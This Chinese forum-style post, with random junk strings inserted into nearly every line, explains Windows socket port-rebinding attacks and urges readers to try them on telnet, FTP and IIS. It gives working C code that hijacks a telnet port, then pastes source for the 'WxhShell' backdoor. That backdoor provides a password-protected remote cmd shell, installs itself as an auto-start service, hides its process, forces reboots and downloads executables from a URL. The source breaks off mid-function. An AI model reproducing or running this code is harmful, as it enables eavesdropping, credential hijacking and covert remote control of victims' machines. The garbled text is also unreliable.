在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
W2uOR{
'? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:!zl^J; &@ JvnO: saddr.sin_family = AF_INET;
Ts~L:3oaQ };'\~g,1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
G\NPV' *.)tG bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9W5onn t43)F9! 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<3,<\ub b,8{ X< 这意味着什么?意味着可以进行如下的攻击:
qC'{;ko _HhbIU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
"vtCTl~t NH_<q"gT 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!nAX$i~ ?`J[[", 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~}Rj$%_ r H ~" 4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3]?#he %Qk/_ R1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
LkQX?2>] O9:U8$* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ali9pvE y!]CJigpZ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ExRe:^yU\ ?k(\ApVHj #include
ws^4?O #include
sUE?v9 #include
&>H!}"Yk #include
vzmc}y G DWORD WINAPI ClientThread(LPVOID lpParam);
x`6<m!d` int main()
]vuwkn+) {
_ 84ut WORD wVersionRequested;
XV^1tX>f{ DWORD ret;
Mfv1Os:ST WSADATA wsaData;
LY-2sa#B$- BOOL val;
GRY2?'` SOCKADDR_IN saddr;
$/nY5[ SOCKADDR_IN scaddr;
|^@dFOz int err;
ul*Qt} SOCKET s;
"O(9 m.CZ SOCKET sc;
}pJwj int caddsize;
@O[5M2|r HANDLE mt;
N]RZbzK_5G DWORD tid;
=Fdg/X1 wVersionRequested = MAKEWORD( 2, 2 );
@Vu(XG err = WSAStartup( wVersionRequested, &wsaData );
~H!S,"n^,P if ( err != 0 ) {
"+unS)M;Y printf("error!WSAStartup failed!\n");
rb{P :MX return -1;
|hr]>P1 }
E\C9|1) saddr.sin_family = AF_INET;
K(q-?n`< [k-+AA>: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
B 2ec@]uD` 36am-G saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
p0pWzwTG3 saddr.sin_port = htons(23);
@}kv-* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
xCtmXo {
E}ZJ)V7 printf("error!socket failed!\n");
A2|Ud_ return -1;
)Y)pmjZaG }
xpOg8u5 val = TRUE;
+k`!QM>e- //SO_REUSEADDR选项就是可以实现端口重绑定的
+E1h#cc) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<vwkjCA` {
Onwp-!!.
printf("error!setsockopt failed!\n");
@Pt="*g return -1;
GH[wv< }
~}<DG1! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
H9CS*|q6r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
B,{K*-7)MX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
MR}Agu#LG ciMzf$+G$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
K#"O
a
h {
HF(KN{0.B ret=GetLastError();
3d|9t9v printf("error!bind failed!\n");
YQY%M>F@d% return -1;
3$X'Y]5a }
Qf@ listen(s,2);
'}$Dgp6e while(1)
N$[{8yil^w {
QVtQx>K` caddsize = sizeof(scaddr);
a1@Y3MQ;i //接受连接请求
%HJK; sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%plo=RF if(sc!=INVALID_SOCKET)
<n#DT {
*BR ^U$,e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
1/"WD?a if(mt==NULL)
rdJR 2 {
YIjTL!bA" printf("Thread Creat Failed!\n");
nvPwngEQm break;
q`r**N+zn }
#B\"'8# }
_]:z \TDn CloseHandle(mt);
#_u~/jhX }
Hhh0T>gi closesocket(s);
KRA/MQ^7~U WSACleanup();
_F`lq_C return 0;
bcYF\@}; }
Bi{$@n&?f DWORD WINAPI ClientThread(LPVOID lpParam)
(P$H<FtH {
hodgDrmO/ SOCKET ss = (SOCKET)lpParam;
|vw"[7_aS SOCKET sc;
/gG"v5] unsigned char buf[4096];
)-._FOZ6 SOCKADDR_IN saddr;
O<V4HUW long num;
^(FdXGs[ DWORD val;
v;ZA4c DWORD ret;
wH@Ns~[MA //如果是隐藏端口应用的话,可以在此处加一些判断
:eCU/BC4 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
y~\oTJb saddr.sin_family = AF_INET;
Nal9M[]c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
jB(|";G saddr.sin_port = htons(23);
4H/fP]u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GI1 {
R~6$oeWAw printf("error!socket failed!\n");
c??mL4$'N return -1;
ruy}/7uf }
\*<d{gZ~ val = 100;
&oX>*6L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^cuc.g)c$? {
d}4Y( ret = GetLastError();
ZEx}$<)_ return -1;
Ll4g[8 }
5bgs*.s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Dbz3;t {
@qYp>|AF ret = GetLastError();
c(~[$)i6 return -1;
\vO,Ee~#W }
5yz(>EVH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
)'+8}T]xQ {
@nCd printf("error!socket connect failed!\n");
RtM8yar+sn closesocket(sc);
EU+S^SyZi closesocket(ss);
h3xAJ! return -1;
h[@tZ(jrY }
9'X7wG while(1)
3z c U%* {
Zo~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
@P?~KW6<| //如果是嗅探内容的话,可以再此处进行内容分析和记录
io8'g3< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
] &Rx@&e* num = recv(ss,buf,4096,0);
u@cYw:-C if(num>0)
#*UN >X send(sc,buf,num,0);
$[a8$VY^Cm else if(num==0)
0a XPPnuX break;
]Yn_}Bq num = recv(sc,buf,4096,0);
SR|`! if(num>0)
@/ohg0 send(ss,buf,num,0);
P&^;656r else if(num==0)
wLnf@&jQ% break;
9eQxit7 }
dx@-/^. closesocket(ss);
y#z closesocket(sc);
m0a?LY return 0 ;
(bH`x]h# }
gq'Y!BBQy #ZrHsfP ) iN/ua ==========================================================
YOmM=X+'H 7Bd-!$j+ 下边附上一个代码,,WXhSHELL
KJaXg;,H yj.7'{mA ==========================================================
7E79-r&n ~yW4)4k;b #include "stdafx.h"
%/zbgS` }%{LJ}\Px #include <stdio.h>
i\rDu^VQ #include <string.h>
kTu[ y; #include <windows.h>
7 *`h/ #include <winsock2.h>
GQUe!G9 #include <winsvc.h>
(Fhs" #include <urlmon.h>
WGZ9B^A jYmR #pragma comment (lib, "Ws2_32.lib")
n|R J;d30Q #pragma comment (lib, "urlmon.lib")
ORJIo mQ|v26R #define MAX_USER 100 // 最大客户端连接数
g'n7T|h
~ #define BUF_SOCK 200 // sock buffer
Zy?Hi` #define KEY_BUFF 255 // 输入 buffer
ic#`N0s? VKG&Y_7N #define REBOOT 0 // 重启
ijK"^4i #define SHUTDOWN 1 // 关机
<(fRn`)PT R?"q]af~ #define DEF_PORT 5000 // 监听端口
SVh 7zh
\kMefU #define REG_LEN 16 // 注册表键长度
!W}9no #define SVC_LEN 80 // NT服务名长度
"AsKlKz{B #Oc]
@ // 从dll定义API
j2StXq3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
keX,d# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
2j}\3Pi typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yy i#Mo
, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_M`--.{\O[ F`XP@Xx // wxhshell配置信息
9CWF{" struct WSCFG {
zck#tht4
n int ws_port; // 监听端口
CR"|^{G char ws_passstr[REG_LEN]; // 口令
d\|?-hY`[ int ws_autoins; // 安装标记, 1=yes 0=no
JP!~,mdS char ws_regname[REG_LEN]; // 注册表键名
UU;(rS/ char ws_svcname[REG_LEN]; // 服务名
J\:R|KaP<p char ws_svcdisp[SVC_LEN]; // 服务显示名
7WkB>cn char ws_svcdesc[SVC_LEN]; // 服务描述信息
Vk
K char ws_passmsg[SVC_LEN]; // 密码输入提示信息
8"2=U6*C int ws_downexe; // 下载执行标记, 1=yes 0=no
Mb|a+,:>3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:toh0oB[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K}buH\yco T?tgdJ };
#~2%) 7byK{{/z // default Wxhshell configuration
Cz\ew B struct WSCFG wscfg={DEF_PORT,
t(NI-UXBp "xuhuanlingzhe",
g(qJN<RC/ 1,
jHE}qE~>5 "Wxhshell",
S >X:ZYYC "Wxhshell",
=S+wCN "WxhShell Service",
;o2$
Q "Wrsky Windows CmdShell Service",
m.#
VYN`+A "Please Input Your Password: ",
bYpntV 1,
t^R][Ay& "
http://www.wrsky.com/wxhshell.exe",
bnq;)>& "Wxhshell.exe"
' g= };
cdl&9-} pN:Kdi // 消息定义模块
bpJ(XN}E char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z<1FSk,[ char *msg_ws_prompt="\n\r? for help\n\r#>";
"U>JM@0DNm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4:$4u@ char *msg_ws_ext="\n\rExit.";
QwJVS(Gs4 char *msg_ws_end="\n\rQuit.";
N kb|Fd/s char *msg_ws_boot="\n\rReboot...";
G'Q-An%z char *msg_ws_poff="\n\rShutdown...";
iNtaDX|%/ char *msg_ws_down="\n\rSave to ";
JQ8fdP A r@h5w_9 char *msg_ws_err="\n\rErr!";
q<[P6}. char *msg_ws_ok="\n\rOK!";
zZPuha8 e6R}0w~G char ExeFile[MAX_PATH];
_~IR6dKE int nUser = 0;
X0bN3N HANDLE handles[MAX_USER];
LtWP0@JA int OsIsNt;
S;3R S; /YP{,#p SERVICE_STATUS serviceStatus;
sJ;g$TB SERVICE_STATUS_HANDLE hServiceStatusHandle;
-3t7* \qdHX // 函数声明
s C%&cRQD int Install(void);
42_`+Vt]d7 int Uninstall(void);
;f0I
8i,JN int DownloadFile(char *sURL, SOCKET wsh);
"pi=$/RD9 int Boot(int flag);
]HKQDc' void HideProc(void);
u]<,, int GetOsVer(void);
5nv#+ap1 " int Wxhshell(SOCKET wsl);
C%$edEi void TalkWithClient(void *cs);
[')m|u~FS4 int CmdShell(SOCKET sock);
"CSsCA$/ int StartFromService(void);
A-Sv;/yD_ int StartWxhshell(LPSTR lpCmdLine);
L-jJg,eY bhTb[r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
u)X=Qm) VOID WINAPI NTServiceHandler( DWORD fdwControl );
r?+%?$ H*RC@O_hv // 数据结构和表定义
>Ea8G, SERVICE_TABLE_ENTRY DispatchTable[] =
~
-4{B {
:~b3^xhc^ {wscfg.ws_svcname, NTServiceMain},
lGPUIoUo {NULL, NULL}
Bn=by{i };
f2Klt6"9 mXRB7k // 自我安装
|% F=po>w int Install(void)
rn/ /% {
<r.)hT"0 char svExeFile[MAX_PATH];
bR*-Ht+wd HKEY key;
KyVQh8 strcpy(svExeFile,ExeFile);
ocqU=^ta g`{;(/M+ // 如果是win9x系统,修改注册表设为自启动
8{wwd:6 if(!OsIsNt) {
9oRy)_5Z(= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/[a~3^Gs^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q.KG^=10 RegCloseKey(key);
-[*,^Ti` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
A>vBQN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
UldXYtGe RegCloseKey(key);
2 Wt> Mi return 0;
"9ZID-~] }
N=4G=0 `ke }
rXmn7;B}g }
*]ly0nP else {
y?[ v=j*U Pu7_
v // 如果是NT以上系统,安装为系统服务
F3N?Nk/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4,bv)Im+ ` if (schSCManager!=0)
Ttu2 skcv {
p#ol*m5wE SC_HANDLE schService = CreateService
A_XY'z 1 (
mC4zactv schSCManager,
e}D3d=6` wscfg.ws_svcname,
S@jQX wscfg.ws_svcdisp,
K,Ef9c/+K SERVICE_ALL_ACCESS,
:8L8q<U SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<6EeD5{* SERVICE_AUTO_START,
:By?O"LQ SERVICE_ERROR_NORMAL,
L6t+zIUc-~ svExeFile,
Vi>,kF.fV NULL,
TTeH` NULL,
8;d:-Cp NULL,
{'XggI% NULL,
R?GDJ3 NULL
\kp8S'qVo );
6bomh2 if (schService!=0)
X@$f$= {
_BM"
]t* CloseServiceHandle(schService);
nG,A@/N CloseServiceHandle(schSCManager);
49rf7NT-g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)_+rU|We strcat(svExeFile,wscfg.ws_svcname);
<>dT64R| if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.R)D3NZp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
|XT)QK1 RegCloseKey(key);
D8inB+/- return 0;
KX76UW }
HFKfkAl }
yWg@v+ CloseServiceHandle(schSCManager);
T_s_p }
Y#!UPhg< }
4E;VM{ I!^;8Pg return 1;
!9u|fnC9 }
J4QXz[dG ]p _L) // 自我卸载
%=n!Em( int Uninstall(void)
`Bo*{}E {
33o9Yg|J~ HKEY key;
V^7V[(~` bt"W(m&f if(!OsIsNt) {
Ov};e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z,RzN5eN RegDeleteValue(key,wscfg.ws_regname);
O,J>/
RegCloseKey(key);
VeGL) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.Obw|V- RegDeleteValue(key,wscfg.ws_regname);
y[`l3;u:' RegCloseKey(key);
_a5d?Q9Z return 0;
pf%=h
| }
!g?|9 }
*?Lv3}E }
(*Z)(O*z else {
hLI`If/+K W}--p fG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
qmnZAk if (schSCManager!=0)
!2 LCLN\ {
*}]Nf
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jq-p;-i if (schService!=0)
DQNnNsP:M- {
3
*d"B tg if(DeleteService(schService)!=0) {
&%8'8,. CloseServiceHandle(schService);
R%Qf7Q CloseServiceHandle(schSCManager);
:H7D~ n return 0;
"JVkVp[5D+ }
]=.\-K CloseServiceHandle(schService);
?i)f^O }
l,R/Gl CloseServiceHandle(schSCManager);
B268e }
FYOD
Upn }
^@I pM^9c7@!: return 1;
Y&[1`:-~- }
~res V <A<{,:5C // 从指定url下载文件
(hTCK8HK int DownloadFile(char *sURL, SOCKET wsh)
x4g3rmp {
NS9B[*"Jl HRESULT hr;
wHsYF` char seps[]= "/";
3Vsc 9B"w char *token;
;KOLNi-B& char *file;
RSr
%n1 char myURL[MAX_PATH];
I[=j&rK` char myFILE[MAX_PATH];
l/BLUl~z Jpj}@, strcpy(myURL,sURL);
b^ L
\>3 token=strtok(myURL,seps);
B||*.`3gN while(token!=NULL)
$.C=H[QC {
,/YF-L$(t file=token;
BS /G("oZ[ token=strtok(NULL,seps);
^g*pGrl# }
4oK?-|=? .clP#r{U GetCurrentDirectory(MAX_PATH,myFILE);
guX
9} strcat(myFILE, "\\");
W@ T~ly;e* strcat(myFILE, file);
_6_IP0; send(wsh,myFILE,strlen(myFILE),0);
T#M,~lD send(wsh,"...",3,0);
kv8Fko hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DamCF if(hr==S_OK)
r^h4z`:L return 0;
x N=i]~ else
]Gpxhg return 1;
.EpV;xq} Cnnh7` }
^:6{2 2C{ WxW7qt // 系统电源模块
~;O v-^tp int Boot(int flag)
3Th'p aMG {
09dK0H3( HANDLE hToken;
/nyUG^5#{ TOKEN_PRIVILEGES tkp;
4S,`bnmB ^cV;~&|.Xk if(OsIsNt) {
$>*3/H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_Bj)r}~7# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`o<'
x.I tkp.PrivilegeCount = 1;
|B.0TdF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_= +V/= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,pqGX3 if(flag==REBOOT) {
`%CtWJ(e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
'=[?~0(B return 0;
4?0vso*X<: }
-%2[2p else {
6726ac{xz if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
cS>e? return 0;
^9^WuSq }
&@%W29: }
UH]l9Aq$P else {
TS /.`.gT if(flag==REBOOT) {
P6!jRC"52' if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
eL^.,H0 return 0;
NxjB/N
}
e&7JpT else {
/[O(ea$U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
PH `9MXh return 0;
="x\`+U }
^m?KRm2 }
P9=?zh6G. W)9K`hM6 return 1;
d_4T}%q }
Vm%1> '& $P>`m$(8 // win9x进程隐藏模块
${+ @gJ+S void HideProc(void)
cU0s
p {
9[1`jtm )A!>=2M` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
(EK"V'; if ( hKernel != NULL )
OC1I&",Ai| {
}-ftyl7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
KiI!frm1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
O?U'!o= FreeLibrary(hKernel);
XID<(HBA"! }
|3F02 N5* u]j return;
+u!0rLb }
XS`M-{f` s >e=?W // 获取操作系统版本
Wi[ ~fI8^! int GetOsVer(void)
0|2%vh >J {
3BB%Z6F OSVERSIONINFO winfo;
D!.[q -< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
()K " c# GetVersionEx(&winfo);
dlJbI}-v= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i-bJS6 return 1;
wB.Nn/p else
K)qF+Vb^j return 0;
m<{<s T }
.jS~By|r #k_HN}B // 客户端句柄模块
$Z|ffc1 int Wxhshell(SOCKET wsl)
F_Y7@Ei/ {
f` :i.Sr SOCKET wsh;
/J04^6 struct sockaddr_in client;
,S'p%g DWORD myID;
XEn*?.e _{R=B8Zz\ while(nUser<MAX_USER)
'&.# {
+|bmT int nSize=sizeof(client);
AgV G`q wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>y.%xK if(wsh==INVALID_SOCKET) return 1;
(WK&^,zQn [
j3&/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f@8>HCI if(handles[nUser]==0)
Vl_:c75" closesocket(wsh);
}@Ge}9$h else
'a$Gv&fu nUser++;
}| J79s2M }
{Z3dF)> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|~'IM3Jw(Y M@4UGM`J return 0;
>tO`r.5u9 }
RY c!~Wh~Y 8'<-:KG // 关闭 socket
)t$,e2FY void CloseIt(SOCKET wsh)
@fs`=lL/ {
A3B56K closesocket(wsh);
vk*=4}: nUser--;
!PrwH; ExitThread(0);
_@
*+~9%8p }
wNQ*t-K p3]_}Y
D[# // 客户端请求句柄
#+$G=pS'v void TalkWithClient(void *cs)
?*?RP)V {
S/Fkw4% 2>86oP& SOCKET wsh=(SOCKET)cs;
mjWU0Gh%* char pwd[SVC_LEN];
2 Yp7 char cmd[KEY_BUFF];
{]E+~%Va char chr[1];
e&>;*$) int i,j;
)K,F]fc+O H2
$GIY while (nUser < MAX_USER) {
%Eb%V ($ i/~1F_ if(wscfg.ws_passstr) {
S}$r>[t if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ms!r ef4`+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Kv.>Vf.T}_ //ZeroMemory(pwd,KEY_BUFF);
.so[I i=0;
jy giG&H while(i<SVC_LEN) {
=+-Yxh|* jeGj<m // 设置超时
]wKz E4Z/ fd_set FdRead;
"I=\[l8t struct timeval TimeOut;
t5'V6nv FD_ZERO(&FdRead);
Nluv/?< FD_SET(wsh,&FdRead);
Pcu#lWC$ TimeOut.tv_sec=8;
$aN-Y?U% TimeOut.tv_usec=0;
*uo'VJI7_, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^
<Pq,u%k if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
fv`O4 ,y+$cM( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
5aln>1x>hn pwd
=chr[0]; C?i >.t
if(chr[0]==0xd || chr[0]==0xa) { D\[h:8k
pwd=0; :um|nRwy9
break; X{we/'>
} 6B@CurgB
i++; YO}1(m
} wjh=Q
_)]+hUwY
// 如果是非法用户,关闭 socket N\HQN0d9
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3GuH857ov
} 4O;OjUI0a
_~rI+l A
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RRGWC$>?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]J:1P`k.
} ~"hC3w
while(1) { *^RmjW1I
94 e):
jS
ZeroMemory(cmd,KEY_BUFF); ;x:rZV/
;=<-5;rI
// 自动支持客户端 telnet标准 [8Qro8
j=0; TQ{Han!
while(j<KEY_BUFF) { "TUe%o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H|ER
cmd[j]=chr[0]; srYJp^sC
if(chr[0]==0xa || chr[0]==0xd) { ^bc;[x&N
cmd[j]=0; c%[#~;E
break; Ux#x#N
} LwhyE:1
j++; ]~6_ WE8L
} $Bj;D=d@V
-s|}Rh?Y
// 下载文件
qNm$Fx
if(strstr(cmd,"http://")) { -jn WZ5.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); x5QaM.+=J
if(DownloadFile(cmd,wsh)) om |"S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4<cz--g
else \mw(cM#:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -0_d/'d
} IBQ@{QB
else { +&Hr4@pgW
jMbC Y07v
switch(cmd[0]) { )r[&RGz6
hSK;V<$[Z
// 帮助 ,oNOC3U
case '?': { M)+$wp
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ndo a4L)$
break; hUD7_arKF
} zfc3)7
// 安装 f m(e3]
case 'i': { hFk3[zTy
if(Install()) G NS`.fS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {@<J_A
else &f7fK|}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2MATpV#BT
break; 0vVV%,v
} {0;3W7
// 卸载 iSFuT7;%
case 'r': { m$9w"8R
if(Uninstall()) f+|$&p%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xS7$%w['
else h.!}3\Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =56T{N
break; pSm $FBW h
} >@YtDl8R
// 显示 wxhshell 所在路径 WWL4`s
case 'p': { jS;J:$>^
char svExeFile[MAX_PATH]; /s-A?lw^2
strcpy(svExeFile,"\n\r"); >yXN,5d[
strcat(svExeFile,ExeFile); 2P]L9'N{Y
send(wsh,svExeFile,strlen(svExeFile),0); CH
fVQ|!\
break; :>aQ~1f>]
} #-8\JEn
// 重启 MwfOy@|N
case 'b': { '{[5M!B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5C"QE8R o
if(Boot(REBOOT)) <5G{"U+ \
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .`7cBsXH
else { d/}SAvtt
closesocket(wsh); [HN|\afz
ExitThread(0); D;I6Q1I
} 1Nu1BLPm
break; kGL1!=>
} 557(EM
// 关机 %lX%8Z$v
case 'd': { `+t.!tv!
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2 o#,kGd
if(Boot(SHUTDOWN)) 4O:W#bx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sz @p_Z/
else { A<\JQ
closesocket(wsh); A/7X9ir
ExitThread(0); (_4;') 9
} H"Klj_<dH0
break; tX!nsm1
} * ,v|y6
// 获取shell jqH3J2L
case 's': { `]LSbS
CmdShell(wsh); {QbvR*gv
closesocket(wsh); 4CQ"8k(S"
ExitThread(0); /m(=`aRt
break; % aUsOB-RV
} k<RZKw Qc
// 退出 Fb/XC:AD
case 'x': { QI]Ih
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Sa"9^_.2#
CloseIt(wsh); Dfd-^N!
break; SlSM+F
} k|BHnj
// 离开 vA)O{W\o
case 'q': { q~L^au8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w_ {,<[#
closesocket(wsh); ~Ph\Sbp
WSACleanup(); 0aoHKeP
exit(1); v`V7OD#:j]
break; l;sy0S"DO]
} Bm\qxQ
} _5MNMVLwW
} \v6M:KR5/
JlKM+UE:
// 提示信息 +,v-=~5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <!pQ
} cst}Ibfi
} 9s}Kl($
/H:I 68~
return; KOg?FmD
} [TF8'jI0
^uS/r#l
// shell模块句柄 OG3/-K 8R
int CmdShell(SOCKET sock) b dJ+@r
{ E42eOGp9i
STARTUPINFO si; X%bFN
ZeroMemory(&si,sizeof(si)); 0t#g}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]O{u tm
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "+?Cz!i
PROCESS_INFORMATION ProcessInfo; fWF|,A>>b
char cmdline[]="cmd"; ^). )
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }X;U|]d
return 0; qn"D#K'&(
} `o79g"kxe
!:LJzROh
// 自身启动模式 4yaxl\2
int StartFromService(void) PuxK?bwC
{ k>E`s<3
typedef struct |3K)$.6~
{ .$",
*d
DWORD ExitStatus; x'Pi5NRE
DWORD PebBaseAddress; JaWv]@9*
DWORD AffinityMask; hJ5z/5aE;
DWORD BasePriority; M,3wmW&d6
ULONG UniqueProcessId; FFEfp.T1M
